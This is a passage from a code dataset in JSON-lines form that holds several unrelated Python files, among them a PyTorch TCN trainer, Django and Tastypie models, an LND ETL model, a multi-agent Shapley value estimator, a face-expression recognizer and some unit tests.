torch\nimport torch.nn as nn\nimport numpy as np\nfrom tqdm import tqdm\nfrom args import LOSS, OPTIM, ACTIVATION\nfrom visu import Visualizer\n\nclass TCNTrainer(nn.Module):\n def __init__(self,\n activation: str,\n data_dir: str,\n bias: bool,\n depth: int,\n kernel: int,\n layers: int,\n confidence_interval: float,\n net_type: str,\n grad_clip: float, \n init: str,\n len_traj: int,\n log_dir: str,\n loss: str,\n lr: int,\n num_workers: int, \n optim_iter: int,\n optimizer: str,\n scheduler: str,\n validation: bool,\n output_pi: bool,\n dropout: float,\n dilation: int,\n n_models: int,\n pearce: bool, \n **kwargs,\n ):\n super().__init__()\n\n self.pearce = pearce\n self.n_models = n_models\n self.output_pi = output_pi\n self.models = [TCN(layers=layers, net_type=net_type, depth=depth, dilation=dilation, activation=activation, kernel=kernel, bias=bias,\n len_traj=len_traj, dim_pred=8 if self.output_pi else 4, dropout=0 if self.output_pi else dropout) for _ in range(self.n_models)]\n\n self.stop_training = False\n self.len_traj = len_traj\n self.data_dir = data_dir\n self.log_dir = log_dir\n self.visu = Visualizer(log_dir=self.log_dir)\n self.confidence_interval = confidence_interval\n\n X = torch.load(self.data_dir+'/X.pt')\n X_test = torch.load(self.data_dir+'/X_test.pt')\n T = X.shape[-1]\n l = T\n Y = torch.load(self.data_dir+'/Y.pt').T\n\n self.X_mean = X.mean(-1)\n self.X_std = X.std(-1)\n\n self.Y_mean = Y.mean(-1)\n self.Y_std = Y.std(-1)\n\n self.X_train = torch.stack([torch.Tensor(X[:,t-self.len_traj:t]) for t in range(self.len_traj, l)], 0)\n self.Y_train = torch.stack([torch.Tensor(Y[:,t]) for t in range(self.len_traj, l)], 0)\n\n #self.X_eval = torch.stack([torch.Tensor(X[:,t-self.len_traj:t]) for t in range(l, T)], 0)\n #self.Y_eval = torch.stack([torch.Tensor(Y[:,t]) for t in range(l, T)], 0)\n\n concat_X = torch.cat((X, X_test), -1)\n self.X_test = torch.stack([torch.Tensor(concat_X[:,-self.len_traj+t:t]) for t in range(-X_test.shape[-1], 0)], 0)\n\n self.X_train = (self.X_train - self.X_mean.unsqueeze(-1)) / self.X_std.unsqueeze(-1)\n self.X_test = (self.X_test - self.X_mean.unsqueeze(-1)) / self.X_std.unsqueeze(-1)\n\n self.init = init\n self.apply(self._init_weights)\n self._iter = 1\n self.loss = LOSS[loss]\n self.lr = lr\n self.optim_iter = optim_iter\n self.optimizer = optimizer\n self.optims = [OPTIM[self.optimizer](model.parameters(), self.lr) for model in self.models]\n self.scheduler = self._make_scheduler(scheduler)\n self.grad_clip = grad_clip\n self.eval_loss = 10e10\n self.validation = validation\n self.counts = 0\n\n def fit(self):\n self.fitted = True\n pbar = tqdm(range(self.optim_iter))\n for i in pbar:\n self._single_step(pbar)\n if self.stop_training:\n self._iter += 1\n self._evaluate()\n break\n self.visu.plot_losses()\n torch.save(self.saved_model, self.log_dir+'/saved_model.pt')\n lowers, uppers = self._generate_bounds(self.models[0], self.X_test)\n Y_test = (torch.cat([torch.stack((lowers[:,i],uppers[:,i]),-1) for i in range(4)], -1)).detach().cpu().numpy()\n with open(self.log_dir+'Y_test.npy', 'wb') as f:\n np.save(f, Y_test)\n\n def _init_weights(self, m):\n if isinstance(m,(nn.Linear,nn.Conv2d,nn.Conv1d,nn.ConvTranspose2d,nn.ConvTranspose1d)):\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n if self.init == 'orthogonal':\n nn.init.orthogonal_(m.weight)\n if self.init == 'xavier':\n nn.init.xavier_uniform_(m.weight)\n if self.init == 'kaiming':\n nn.init.kaiming_uniform_(m.weight, nonlinearity='relu')\n\n def _make_scheduler(self, title):\n scheduler = None\n if title == 'cosine':\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(self.optim, T_max=self.optim_iter)\n elif title == 'plateau':\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(self.optim, patience=1000)\n return scheduler\n\n def _single_step(self, pbar=None):\n self.requires_grad_(True)\n self.train()\n \n pred_losses = []\n for i in range(self.n_models):\n if self.pearce:\n pred_loss = self._pearce_loss(self.X_train, self.Y_train, self.models[i])\n else:\n pred_loss = self.loss()(self.models[i](self.X_train), (self.Y_train-self.Y_mean.unsqueeze(0))/self.Y_std.unsqueeze(0))\n pred_losses.append(pred_loss)\n\n self.optims[i].zero_grad()\n pred_loss.backward()\n nn.utils.clip_grad_norm_(self.models[i].parameters(), self.grad_clip)\n self.optims[i].step()\n pred_loss = sum(pred_losses)\n\n if self.scheduler is not None:\n self.scheduler.step()\n\n #with torch.no_grad():\n #gn = sum([p.grad.pow(2).sum() for p in self.TCN.parameters() if p.grad is not None]).sqrt().item()\n\n self.visu.train_losses.append(pred_loss.item())\n self.eval()\n for i in range(self.n_models):\n for m in self.models[i].modules():\n if m.__class__.__name__.startswith('Dropout'):\n m.train()\n \n if not self._iter % 10 or self._iter == self.optim_iter:\n if self.validation:\n eval_loss = self._evaluate()\n self.visu.eval_losses.append(eval_loss.item())\n self.visu.plot_losses()\n if self.eval_loss > eval_loss:\n self.eval_loss = eval_loss\n self.saved_iter = self._iter\n self.saved_model = self._clone_state_dict()\n elif self._iter - self.saved_iter >= 100:\n self.stop_training = True\n else:\n self._save_figs(batch, pred, embed)\n self.saved_model = self._clone_state_dict()\n\n if pbar is not None:\n pbar.set_description(f'pred_loss: {float(pred_loss.item()): 4.2f}, '\n f'counts in bounds: {float(self.counts): 4.2f}, '\n f'validation_loss: {float(self.eval_loss): 4.2f}')\n \n self._iter += 1\n self.visu._iter += 1\n\n def _evaluate(self):\n pred_losses = []\n for i in range(self.n_models):\n pred_loss = self._pearce_loss(self.X_train, self.Y_train, self.models[i])\n pred_losses.append(pred_loss)\n return sum(pred_losses)\n\n def _clone_state_dict(self):\n state_dict = self.state_dict()\n return {k: state_dict[k].clone() for k in state_dict}\n\n def _pearce_loss(self, X, Y, model):\n self.counts = 0\n l = Y.shape[0]//168\n total_loss = 0\n for i in range(l): \n lowers, uppers = self._generate_bounds(model, X[i*168:(i+1)*168])\n bools = torch.logical_and(uppers>Y[168*i:(i+1)*168],Y[168*i:(i+1)*168]>lowers)\n diffs = ((uppers - lowers)*bools.float()).sum()\n counts = bools.all(-1).sum()\n self.counts += counts/Y.shape[0]\n total_loss += diffs/(counts+1e-6) + (168/(0.05*0.95))*(torch.max(torch.Tensor([0, 0.95 - counts/168]))**2)\n return total_loss/Y.shape[0]\n\n def _generate_bounds(self, model, X, N=20):\n if self.pearce:\n if self.output_pi:\n pred = model(X)*torch.cat((self.Y_std,self.Y_std),-1).unsqueeze(0) + torch.cat((self.Y_mean,self.Y_mean),-1).unsqueeze(0)\n return pred[:,[0,2,4,6]], pred[:,[1,3,5,7]]\n else:\n #Generate bounds with dropout\n preds = torch.empty(N, X.shape[0], 4)\n for i in range(N):\n preds[i] = model(X)*self.Y_std.unsqueeze(0) + self.Y_mean.unsqueeze(0)\n return torch.quantile(preds, 0.5 - self.confidence_interval/2, dim=0), torch.quantile(preds, 0.5 + self.confidence_interval/2, dim=0)\n else:\n return model(X)*self.Y_std.unsqueeze(0) + self.Y_mean.unsqueeze(0) - 0.98*self.Y_std.unsqueeze(0), model(X)*self.Y_std + self.Y_mean + 0.98*self.Y_std.unsqueeze(0)\n\n\nclass TCN(nn.Module):\n def __init__(self, layers=6, depth=256, activation='relu', kernel=5, bias=False, net_type='1d',\n n_features=343, len_traj=50, dim_pred=4, dropout=0.2, dilation=2):\n super().__init__()\n self.n_features = n_features\n self.len_traj = len_traj\n self.activation = ACTIVATION[activation]\n self.bias = bias\n self.dim_pred = dim_pred\n self.depths = [int(depth)]*(layers-1) if not isinstance(depth, (list, tuple)) else depth\n self.kernels = [int(kernel)]*(layers-1) if not isinstance(kernel, (list, tuple)) else kernel\n self.type = net_type\n self.dropout = dropout\n self.dilation = dilation\n if self.type == 'conv2d-1d':\n self.conv2d_layers = nn.Sequential(*self._build_conv_block(1, self.depths[0], self.kernels[0], d=2))\n self.main = nn.Sequential(*(self._build_conv1d_layers() + (self._build_final_layers())))\n\n def forward(self, x):\n if self.type == 'conv2d-1d':\n x = self.conv2d_layers(x.unsqueeze(1))\n x = x.contiguous().view(x.shape[0], -1, x.shape[-1])\n return self.main(x)\n\n def _build_conv1d_layers(self):\n layers = self._build_conv_block(self.n_features * self.depths[0] if self.type == 'conv2d-1d' else self.n_features, self.depths[0], self.kernels[0])\n for i in range(len(self.depths)-1):\n layers += self._build_conv_block(self.depths[i], self.depths[i+1], self.kernels[i+1])\n layers += [nn.Flatten()]\n return layers\n\n def _build_conv_block(self, _in, _out, kernel_size, d=1):\n conv = nn.Conv1d if d==1 else nn.Conv2d\n layers = [conv(_in, _out, kernel_size=kernel_size, padding=int((kernel_size-1)/2), bias=self.bias, dilation=self.dilation)]\n layers.append(self.activation)\n bn = nn.BatchNorm1d if d==1 else nn.BatchNorm2d\n layers.append(bn(_out, affine=True, track_running_stats=True))\n layers.append(nn.Dropout(p=self.dropout, inplace=True))\n return layers\n\n def _build_final_layers(self):\n layers = [nn.Linear(self.len_traj*self.depths[-1], self.dim_pred)]\n layers.append(nn.BatchNorm1d(self.dim_pred, affine=True, track_running_stats=True))\n return layers","sub_path":"tcn.py","file_name":"tcn.py","file_ext":"py","file_size_in_byte":11095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"642150026","text":"# -*- encoding: utf-8\n\nfrom urllib.parse import urlparse\n\nimport daiquiri\nfrom wellcome_aws_utils.sns_utils import publish_sns_message\nfrom werkzeug.exceptions import BadRequest as BadRequestError\n\n\nlogger = daiquiri.getLogger()\n\n\ndef create_archive_bag_message(guid, bag_url, callback_url):\n \"\"\"\n Generates bag archive messages.\n \"\"\"\n parsed_bag_url = urlparse(bag_url)\n if parsed_bag_url.scheme != 's3':\n raise BadRequestError(f'Unrecognised URL scheme: {bag_url!r}')\n\n bucket = parsed_bag_url.netloc\n key = parsed_bag_url.path.lstrip('/')\n\n message = {\n 'archiveRequestId': guid,\n 'zippedBagLocation': {\n 'namespace': bucket,\n 'key': key\n }\n }\n\n if callback_url is not None:\n message['callbackUrl'] = callback_url\n\n return message\n\n\ndef send_new_ingest_request(sns_client, topic_arn, ingest_request_id, upload_url, callback_url):\n \"\"\"\n Create a new ingest request, and send a notification to SNS.\n \"\"\"\n message = create_archive_bag_message(\n guid=ingest_request_id,\n bag_url=upload_url,\n callback_url=callback_url\n )\n logger.debug('SNS message=%r', message)\n\n topic_name = topic_arn.split(':')[-1]\n\n publish_sns_message(\n sns_client=sns_client,\n topic_arn=topic_arn,\n message=message,\n subject=f'source: archive_api ({topic_name})'\n )\n logger.debug('Published %r to %r', message, topic_arn)\n\n return ingest_request_id\n","sub_path":"archive/archive_api/src/ingests/request_new_ingest.py","file_name":"request_new_ingest.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"579450317","text":"class Save(object):\n def __init__(self, data):\n self.data = data\n\n def save_link(self):\n url = self.data['url']\n\n f = open(\"urls.txt\", \"r+\")\n\n for r in f.readlines():\n if r + \"\\n\" == url:\n file.close()\n\n f.write(url + \"\\n\")\n\n f.close()\n\n","sub_path":"reddit/save.py","file_name":"save.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"618095838","text":"# -*- coding:utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.db import models\nimport ast\nfrom django.contrib import admin\nimport datetime\nimport django.utils.timezone\nfrom datetime import datetime\n\nclass CompressedTextField(models.TextField):\n \"\"\"\n model Fields for storing text in a compressed format (bz2 by default)\n \"\"\"\n \n def from_db_value(self, value, expression, connection, context):\n if not value:\n return value\n try:\n return value.decode('base64').decode('bz2').decode('utf-8')\n except Exception:\n return value\n \n def to_python(self, value):\n if not value:\n return value\n try:\n return value.decode('base64').decode('bz2').decode('utf-8')\n except Exception:\n return value\n \n def get_prep_value(self, value):\n if not value:\n return value\n try:\n value.decode('base64')\n return value\n except Exception:\n try:\n return value.encode('utf-8').encode('bz2').encode('base64')\n except Exception:\n return value\n\n\n\n \nclass ListField(models.TextField):\n #__metaclass__ = models.SubfieldBase\n description = \"Stores a python list\"\n \n def __init__(self, *args, **kwargs):\n super(ListField, self).__init__(*args, **kwargs)\n \n def to_python(self, value):\n if not value:\n value = []\n \n if isinstance(value, list):\n return value\n \n return ast.literal_eval(value)\n \n def get_prep_value(self, value):\n if value is None:\n return value\n \n return unicode(value) # use str(value) in Python 3\n \n def value_to_string(self, obj):\n value = self._get_val_from_obj(obj)\n return self.get_db_prep_value(value)\n\n\n\n##############################################################################\nfrom django.contrib.auth.models import User\nfrom django.utils.translation import ugettext_lazy as _\nclass customUser(User):\n \"inherit from User\"\n\n totalActiveTime = models.IntegerField(default=0)\n# id = models.AutoField(primary_key=True)\n# name = models.CharField(max_length=100)\n# pic = models.FileField(default='')\n# description = models.CharField(max_length=400,default='')\n# password = models.CharField(max_length=20)\n# email = models.EmailField(default='hksac@139.com')\n# registerTime= models.DateField(default=django.utils.timezone.now)\n# lastlogin = models.DateField(default=django.utils.timezone.now)\n\n class Meta:\n verbose_name = _('customUser')\n verbose_name_plural = _('customUsers')\n # abstract = False\n\n# def __unicode__(self):\n# return unicode(self.name)\n\n \n\n# Create your models here.\nclass question(models.Model):\n #time = models.DateTimeField(default=django.utils.timezone.now)\n id = models.AutoField(primary_key=True)\n title = models.CharField(max_length=200)\n tag = models.CharField(max_length=100)\n content = models.TextField()\n #time = models.DateTimeField(default=datetime.now())\n time = models.DateTimeField(default=django.utils.timezone.now)\n From = models.ForeignKey('customUser')\n answerNumber = models.IntegerField(default=0)\n\n def __unicode__(self):\n return unicode(self.title)\n\n class Meta:\n ordering = ['-time']\n\n# Create your models here.\nclass answer(models.Model):\n id = models.AutoField(primary_key=True)\n questionid = models.ForeignKey('question')\n content = models.TextField()\n #time = models.DateTimeField(default=django.utils.timezone.now)\n #time = models.DateTimeField(default=datetime.now())\n time = models.DateTimeField(default=django.utils.timezone.now)\n From = models.ForeignKey('customUser')\n\n def __unicode__(self):\n return unicode(self.content)\n\n\n\n\nadmin.site.register(customUser)\nadmin.site.register(question)\nadmin.site.register(answer)","sub_path":"question/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"83814231","text":"from tastypie import fields\nfrom tastypie.resources import ModelResource\nfrom tastypie.authentication import ApiKeyAuthentication\nfrom tastypie.authorization import DjangoAuthorization, Authorization\nfrom tastypie.serializers import Serializer\n\nfrom whwn.models import Item, ItemCategory, ItemSKU\nfrom whwn.api.users import UserResource\n\n\nclass ItemSKUAuthorization(Authorization):\n def is_authorized(self, object_list, bundle):\n return object_list.filter(team=bundle.request.user.get_profile().team)\n\nclass ItemSKUResource(ModelResource):\n class Meta:\n queryset = ItemSKU.objects.all()\n resource_name = \"ItemSKU\"\n allowed_methods = ['get']\n authorization = ItemSKUAuthorization()\n\n fields = [\"upc\", \"team\", \"name\", \"description\", \"category\"]\n\nclass ItemCategoryResource(ModelResource):\n class Meta:\n queryset = ItemCategory.objects.all()\n resource_name = \"ItemCategory\"\n allowed_methods = [\"get\"]\n fields = [\"name\", \"id\"]\n\n\nclass ItemAuthorization(Authorization):\n def is_authorized(self, object_list, bundle):\n team = bundle.request.user.get_profile().team\n return object_list.filter(sku__team=team)\n\n\nclass ItemResource(ModelResource):\n possessor = fields.ToOneField(UserResource, 'possessor', null=True)\n sku = fields.ToOneField(ItemSKUResource, 'sku')\n name = fields.CharField(attribute='name')\n category = fields.ToOneField(ItemCategoryResource, 'category')\n\n class Meta:\n queryset = Item.objects.all()\n resource_name = 'item'\n\n list_allowed_methods = ['get', 'post']\n detail_allowed_methods = ['get', 'post', 'put', 'delete']\n excludes = ['created_at', 'updated_at']\n authentication = ApiKeyAuthentication()\n authorization = ItemAuthorization()\n serializer = Serializer(formats=['json'])\n filtering = {\n 'requested': 'exact'\n }\n always_return_data = True\n\n def obj_create(self, bundle, **kwargs):\n \"\"\" This method creates an itemSKU for an item if not SKU is provided\n \"\"\"\n category = None\n id = bundle.data.get(\"id\")\n if not bundle.data.get(\"name\"):\n raise ValueError(\"Item name is required\")\n if not bundle.data.get(\"category\"):\n category = ItemCategory.objects.get(name=\"Other Supplies\")\n else:\n category =\\\n ItemCategoryResource().get_via_uri(bundle.data[\"category\"])\n\n # set possessor\n if bundle.data.get(\"possessor\", None):\n possessor = UserResource().get_via_uri(bundle.data[\"possessor\"])\n else:\n possessor = None\n\n team = bundle.request.user.get_profile().team\n sku = ItemSKU.objects.get_or_create(team=team, name=bundle.data[\"name\"],\n category=category)\n quantity = int(bundle.data[\"quantity\"]) if \"quantity\" in bundle.data else 1\n if id:\n Item.objects.filter(id=id).update(sku=sku[0], quantity=quantity, possessor=possessor)\n bundle.obj = Item.objects.get(id=id)\n else:\n bundle.obj = Item.objects.create(sku=sku[0], quantity=quantity)\n return bundle\n","sub_path":"app/whwn/api/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"38933163","text":"from sqlalchemy import BIGINT, Column, String\n\nfrom lnd_sql import session_scope\nfrom lnd_sql.database.base import Base\n\n\nclass ETLWaitingCloseChannelCommitments(Base):\n __tablename__ = 'etl_waiting_close_channel_htlcs'\n\n csv_columns = (\n 'local_pubkey',\n 'channel_point',\n\n 'local_txid',\n 'remote_txid',\n 'remote_pending_txid',\n 'local_commit_fee_sat',\n 'remote_commit_fee_sat',\n 'remote_pending_commit_fee_sat'\n )\n\n id = Column(BIGINT, primary_key=True)\n\n local_pubkey = Column(String)\n\n channel_point = Column(String)\n\n local_txid = Column(String)\n remote_txid = Column(String)\n remote_pending_txid = Column(String)\n local_commit_fee_sat = Column(BIGINT)\n remote_commit_fee_sat = Column(BIGINT)\n remote_pending_commit_fee_sat = Column(BIGINT)\n\n @classmethod\n def truncate(cls):\n with session_scope() as session:\n session.execute(\"\"\"\n TRUNCATE etl_waiting_close_channel_htlcs;\n \"\"\")\n\n @classmethod\n def load(cls):\n with session_scope() as session:\n session.execute(\"\"\"\n INSERT INTO waiting_close_channel_htlcs (\n local_pubkey,\n \n channel_point,\n \n local_txid,\n remote_txid,\n remote_pending_txid,\n local_commit_fee_sat,\n remote_commit_fee_sat,\n remote_pending_commit_fee_sat\n )\n SELECT\n ewcch.local_pubkey,\n \n ewcch.channel_point,\n \n ewcch.local_txid,\n ewcch.remote_txid,\n ewcch.remote_pending_txid,\n ewcch.local_commit_fee_sat,\n ewcch.remote_commit_fee_sat,\n ewcch.remote_pending_commit_fee_sat\n FROM etl_waiting_close_channel_htlcs ewcch\n LEFT OUTER JOIN waiting_close_channel_htlcs\n ON ewcch.channel_point = waiting_close_channel_htlcs.channel_point\n AND ewcch.local_pubkey = waiting_close_channel_htlcs.local_pubkey\n WHERE waiting_close_channel_htlcs.id IS NULL;\n \"\"\"\n )\n","sub_path":"lnd_sql/models/lnd/etl/etl_waiting_close_channel_commitments.py","file_name":"etl_waiting_close_channel_commitments.py","file_ext":"py","file_size_in_byte":2328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"142928887","text":"from __future__ import absolute_import\r\n\r\nimport csv\r\nimport os\r\nimport random\r\nfrom itertools import combinations, permutations\r\nfrom statistics import mean\r\n\r\nimport numpy as np\r\n\r\nfrom rollout import rollout\r\n\r\nDEBUG = False\r\n\r\n\r\ndef compute_coalitions(features):\r\n 'Get all possible coalitions (combinations) between features (including empty list)'\r\n coalitions = []\r\n for i in range(0, len(features)+1):\r\n oc = combinations(features, i)\r\n for c in oc:\r\n coalitions.append(list(c))\r\n return coalitions\r\n\r\n\r\ndef compute_coalitions_with_player(player_id, players_ids):\r\n 'Compute all coalitions of players including current player'\r\n coalitions = compute_coalitions(players_ids)\r\n coalitions_with_player = [\r\n coalition for coalition in coalitions if player_id in coalition]\r\n return coalitions_with_player\r\n\r\n\r\ndef monte_carlo_shapley_values(args, agent, config, n_players):\r\n \"\"\"\r\n Monte Carlo estimation of shapley values (if k = num_episodes*n_random_coalitions, o(k*n_agents) complexity).\r\n \"\"\"\r\n\r\n print(\"Starting Shapley value estimation on:\", n_players,\r\n \" n_random_coalitions=\", args.shapley_M, \" missing agents behaviour=\", args.missing_agents_behaviour)\r\n\r\n shapley_values = []\r\n players_ids = [f\"agent-{i}\" for i in range(n_players)]\r\n for player_id in players_ids:\r\n print(f\"Starting computation for player {player_id}...\")\r\n # Get all possible combinations with and without the current player\r\n coalitions_with_player = compute_coalitions_with_player(\r\n player_id, players_ids)\r\n marginal_contributions = []\r\n for m in range(1, 1+args.shapley_M):\r\n # Select random coalitions\r\n coalition_with_player = random.choice(coalitions_with_player)\r\n coalition_without_player = [\r\n n for n in coalition_with_player if n != player_id]\r\n print(\r\n f\"Coalition {m}/{args.shapley_M}: {coalition_with_player}\")\r\n\r\n # Simulate num_episodes episodes on selected coalitions with and without current player\r\n reward_with_player = rollout(args, agent, config, 1, player_id, coalition_with_player)\r\n reward_without_player = rollout(\r\n args, agent, config, 1, player_id, coalition_without_player)\r\n\r\n save_rollout_info(args, player_id, m, reward_with_player, reward_without_player)\r\n\r\n # Compute estimated marginal contribution\r\n marginal_contribution = reward_with_player[0] - reward_without_player[0]\r\n marginal_contributions.append(marginal_contribution)\r\n\r\n # Compute shapley value as the mean of marginal contributions\r\n shapley_value = mean(marginal_contributions)\r\n shapley_values.append(shapley_value)\r\n print(f\"Shapley value for player {player_id}: {shapley_value}\")\r\n\r\n print(\"Shapley values:\", shapley_values)\r\n\r\n return shapley_values\r\n\r\n\r\ndef save_rollout_info(arglist, feature, m, reward_with, reward_without):\r\n 'Keep track of marginal contributions in csv file while computing shapley values'\r\n file_name = f\"{arglist.save_dir}/{arglist.exp_name}.csv\"\r\n os.makedirs(os.path.dirname(file_name), exist_ok=True)\r\n\r\n with open(file_name, \"a\", newline='') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=\",\")\r\n row = [feature, m, arglist.missing_agents_behaviour]\r\n row.extend(reward_with)\r\n row.extend(reward_without)\r\n writer.writerow(row)\r\n\r\n# Old version\r\n\r\n\r\n# def compute_marginal_contributions(env_name, features, num_steps, num_episodes, agent, replace_missing_players):\r\n# 'Get mean reward for each agent for each coalitions '\r\n# marginal_contributions = dict()\r\n# for coalition in compute_coalitions(features):\r\n# total_rewards = rollout(\r\n# agent, env_name, num_steps, num_episodes, coalition=coalition, replace_missing_players=replace_missing_players, verbose=False)\r\n#\r\n# marginal_contributions[str(coalition)] = round(mean(total_rewards), 2)\r\n# if DEBUG:\r\n# print(\"Coalition values: \", marginal_contributions)\r\n# return marginal_contributions\r\n\r\n\r\n# def exact_shapley_values(env_name, n_agents, agent, num_steps=10, num_episodes=1, replace_missing_players=\"random\"):\r\n# 'Naive implementation (not optimized at all)'\r\n# agents_ids = range(n_agents)\r\n# coalition_values = compute_marginal_contributions(\r\n# env_name, agents_ids, num_steps, num_episodes, agent, replace_missing_players)\r\n# shapley_values = []\r\n\r\n# for agent_id in agents_ids:\r\n# if DEBUG:\r\n# print(\"Computing shap value for agent: \", agent_id)\r\n# shapley_value = 0\r\n\r\n# for permutation in permutations(agents_ids):\r\n# to_remove = []\r\n# if DEBUG:\r\n# print(\"permutation \", permutation)\r\n# for i, x in enumerate(permutation):\r\n# if x == agent_id:\r\n# coalition = sorted(permutation[:i+1])\r\n# if DEBUG:\r\n# print(\"coalition\", coalition)\r\n# shapley_value += coalition_values[str(coalition)]\r\n\r\n# if len(to_remove) > 0:\r\n# to_remove = str(sorted(to_remove))\r\n# shapley_value -= coalition_values[to_remove]\r\n# if DEBUG:\r\n# print(\"to remove \", to_remove)\r\n# break\r\n# else:\r\n# to_remove.append(x)\r\n# shapley_values.append(shapley_value)\r\n\r\n# result = np.divide(shapley_values, np.math.factorial(n_agents))\r\n# print(\"Shapley values:\", result)\r\n\r\n# return result\r\n","sub_path":"sequential_social_dilemma_games/experiments/shapley_values.py","file_name":"shapley_values.py","file_ext":"py","file_size_in_byte":5788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"596842664","text":"import face_recognition\nimport cv2\nfrom tensorflow import keras\nfrom keras.models import load_model\nimport numpy as np\nimport sys\n\n# init expression face_recognition\nemotions = {'Angry': 0, 'Disgust': 1, 'Fear': 2, 'Happy': 3, 'Neutral': 4, 'Sad': 5, 'Surprise': 6}\nlabel_map = dict((v,k) for k, v in emotions.items())\nmodel = load_model('model_v6_23.hdf5')\n\n# load Image\nimage = cv2.imread(sys.argv[1])\n\n# face recognition\nrgb_image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\nface_locations = face_recognition.face_locations(rgb_image)\n\n# expression recognition\nface_expressions = []\nfor (top, right, bottom, left) in face_locations:\n face_image = image[top:bottom, left:right]\n face_image = cv2.resize(face_image, (48, 48))\n face_image = cv2.cvtColor(face_image, cv2.COLOR_BGR2GRAY)\n cropped = face_image\n face_image = np.reshape(face_image, [1, face_image.shape[0], face_image.shape[1], 1])\n\n predicted_class = np.argmax(model.predict(face_image))\n face_expressions.append(label_map[predicted_class])\n\n# graphical output\nfor (top, right, bottom, left), face_expression in zip(face_locations, face_expressions):\n cv2.rectangle(image, (left, top), (right, bottom), (0, 0, 255), 2)\n cv2.rectangle(image, (left, bottom - 35), (right, bottom), (0,0,255), cv2.FILLED)\n font = cv2.FONT_HERSHEY_DUPLEX\n cv2.putText(image, face_expression, (left + 6, bottom -6), font, 1, (255, 255, 255), 1)\n\n# display resulting image\ncv2.namedWindow('Bild', cv2.WINDOW_NORMAL)\ncv2.imshow('Bild', image)\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"scribbles-louis/image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"279103078","text":"#\n# This file is part of Gruvi. Gruvi is free software available under the\n# terms of the MIT license. See the file \"LICENSE\" that was provided\n# together with this source file for the licensing terms.\n#\n# Copyright (c) 2012-2013 the Gruvi authors. See the file \"AUTHORS\" for a\n# complete list.\n\nfrom __future__ import absolute_import, print_function\n\nimport gc\nimport time\nimport inspect\nimport threading\nimport weakref\n\nimport pyuv\nimport gruvi\nimport gruvi.hub\nfrom support import *\n\n\nclass TestHub(UnitTest):\n\n def test_switchpoint(self):\n def func(foo, bar, baz=None, *args, **kwargs):\n \"\"\"Foo bar.\"\"\"\n return (foo, bar, baz, args, kwargs)\n wrapper = gruvi.switchpoint(func)\n self.assertEqual(wrapper.__name__, 'func')\n self.assertTrue(wrapper.__doc__.endswith('switchpoint.*\\n'))\n argspec = inspect.getargspec(wrapper)\n self.assertEqual(argspec.args, ['foo', 'bar', 'baz'])\n self.assertEqual(argspec.varargs, 'args')\n self.assertEqual(argspec.keywords, 'kwargs')\n self.assertEqual(argspec.defaults, (None,))\n result = wrapper(1, 2, qux='foo')\n self.assertEqual(result, (1, 2, None, (), { 'qux': 'foo'}))\n result = wrapper(1, 2, 3, 4, qux='foo')\n self.assertEqual(result, (1, 2, 3, (4,), { 'qux': 'foo'}))\n\n def test_hub_cleanup(self):\n # After we close() a Hub, it should be garbage collectable, including\n # its event loop.\n hub = gruvi.hub.Hub()\n gruvi.sleep(0)\n ref1 = weakref.ref(hub)\n ref2 = weakref.ref(hub.loop)\n hub.close()\n del hub\n gc.collect()\n self.assertIsNone(ref1())\n self.assertIsNone(ref2())\n\n def test_thread_cleanup(self):\n # If we close() a Hub in a thread, it should be garbage collectable.\n refs = []\n def thread_sleep():\n hub = gruvi.get_hub()\n gruvi.sleep(0)\n refs.append(weakref.ref(hub))\n refs.append(weakref.ref(hub.loop))\n hub.close()\n t1 = threading.Thread(target=thread_sleep)\n t1.start(); t1.join()\n del t1\n gc.collect()\n self.assertIsNone(refs[0]())\n self.assertIsNone(refs[1]())\n\n def test_many_hubs(self):\n # Create and close a Hub in many threads. If the hub does not garbage\n # collect, then this will run out of file descriptors.\n for i in range(100):\n hub = gruvi.hub.Hub()\n with gruvi.switch_back(timeout=0, hub=hub):\n self.assertRaises(gruvi.Timeout, hub.switch)\n hub.close()\n gc.collect()\n\n\nif __name__ == '__main__':\n unittest.main(buffer=True)\n","sub_path":"tests/test_hub.py","file_name":"test_hub.py","file_ext":"py","file_size_in_byte":2696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"386121980","text":"from typing import List, Tuple\r\nimport unittest\r\n\r\n\r\ndef fit_transform(*args: str) -> List[Tuple[str, List[int]]]:\r\n if len(args) == 0:\r\n raise TypeError('expected at least 1 arguments, got 0')\r\n categories = args if isinstance(args[0], str) else list(args[0])\r\n uniq_categories = set(categories)\r\n bin_format = f'{{0:0{len(uniq_categories)}b}}'\r\n seen_categories = dict()\r\n transformed_rows = []\r\n for cat in categories:\r\n bin_view_cat = (int(b) for b in bin_format.format(1 << len(seen_categories)))\r\n seen_categories.setdefault(cat, list(bin_view_cat))\r\n transformed_rows.append((cat, seen_categories[cat]))\r\n return transformed_rows\r\n\r\n\r\nclass TestFitTransform(unittest.TestCase):\r\n def test_str_fit_transformr(self):\r\n self.assertEqual(fit_transform(['Moscow', 'New York', 'Moscow', 'London']), [\r\n ('Moscow', [0, 0, 1]),\r\n ('New York', [0, 1, 0]),\r\n ('Moscow', [0, 0, 1]),\r\n ('London', 